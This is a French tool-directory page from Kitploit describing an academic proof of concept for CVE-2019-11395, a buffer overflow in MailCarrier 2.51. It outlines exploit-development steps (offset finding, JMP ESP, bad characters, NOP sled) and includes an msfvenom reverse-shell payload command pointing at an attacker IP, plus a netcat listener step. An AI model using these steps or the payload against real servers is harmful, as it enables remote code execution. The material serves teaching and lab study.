Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-11395 — Preuve de concept à visée académique pour comprendre la vulnérabilité de débordement de tampon (Buffer Overflow) en utilisant comme contexte le CVE-2019-11395. | Kitploit
Outils/GitHubGitHub/rafaelbicas/cve-2019-11395
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeFuzzingApprentissage et ÉducationExploitation de Binaires
GitHubrafaelbicas/cve-2019-11395

CVE-2019-11395

Preuve de concept à visée académique pour comprendre la vulnérabilité de débordement de tampon (Buffer Overflow) en utilisant comme contexte le CVE-2019-11395.

Voir le dépôt
19il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-11395

Vue d'ensemble

Cette preuve de concept (PoC) démontre une vulnérabilité de débordement de tampon (Buffer Overflow) dans MailCarrier 2.51, permettant à des attaquants distants d'exécuter du code arbitraire via une chaîne de caractères longue. La vulnérabilité peut être exploitée en utilisant les processus suivants :

  • SMTP RCPT TO
  • POP3 USER
  • POP3 LIST
  • POP3 TOP
  • POP3 RETR

Le projet vise à fournir une approche académique pour comprendre le fonctionnement d'un débordement de tampon.


⚠️ Avertissements

Avant d'exécuter tout test, n'utilisez jamais votre environnement de production pour des expérimentations initiales. Créez plutôt un environnement de laboratoire similaire à votre environnement de production afin d'éviter tout problème ou conséquence imprévue.


🔧 Préparation

1. Découvrir la vulnérabilité

  • Utilisez la technique de fuzzing pour déterminer le nombre approximatif d'octets nécessaire pour faire planter l'application.

2. Trouver l'Offset

  • Une fois le crash survenu, utilisez :
    msf-pattern_create -l <number_of_bytes>
    

Cela permet de déterminer l'Offset, c'est-à-dire le nombre exact d'octets nécessaires pour écraser le registre EIP.

  • Utilisez la commande suivante pour confirmer l'Offset :
    msf-pattern_offset -q <bytes_on_EIP_register> -l <number_of_bytes>
    

Cela identifie le nombre exact d'octets requis pour contrôler le registre EIP.

3. Trouver une instruction JMP ou CALL

  • Localisez une instruction en utilisant :
    JMP ESP
    CALL ESP
    

Nous utiliserons cette adresse pour rediriger l'exécution. Soyez prudent avec l'ASLR, SafeSEH ou d'autres mécanismes de protection.

4. Identifier les mauvais caractères (bad chars)

  • Utilisez l'outil Mona dans Immunity Debugger pour vérifier les mauvais caractères.

5. Générer le Shellcode

  • Créez le shellcode en excluant les mauvais caractères :
    msfvenom -p <shellcode> LHOST=<Attacker_IP> LPORT=443 -b "<badchars_list>" exitfunc=thread -f python
    

6. Ajouter des NOP

  • Insérez des instructions NOP (\x90) dans le payload pour améliorer la stabilité.

7. Établir une connexion

  • Utilisez netcat (nc) pour créer un shell inversé et vous connecter à la cible.
Télécharger l’outil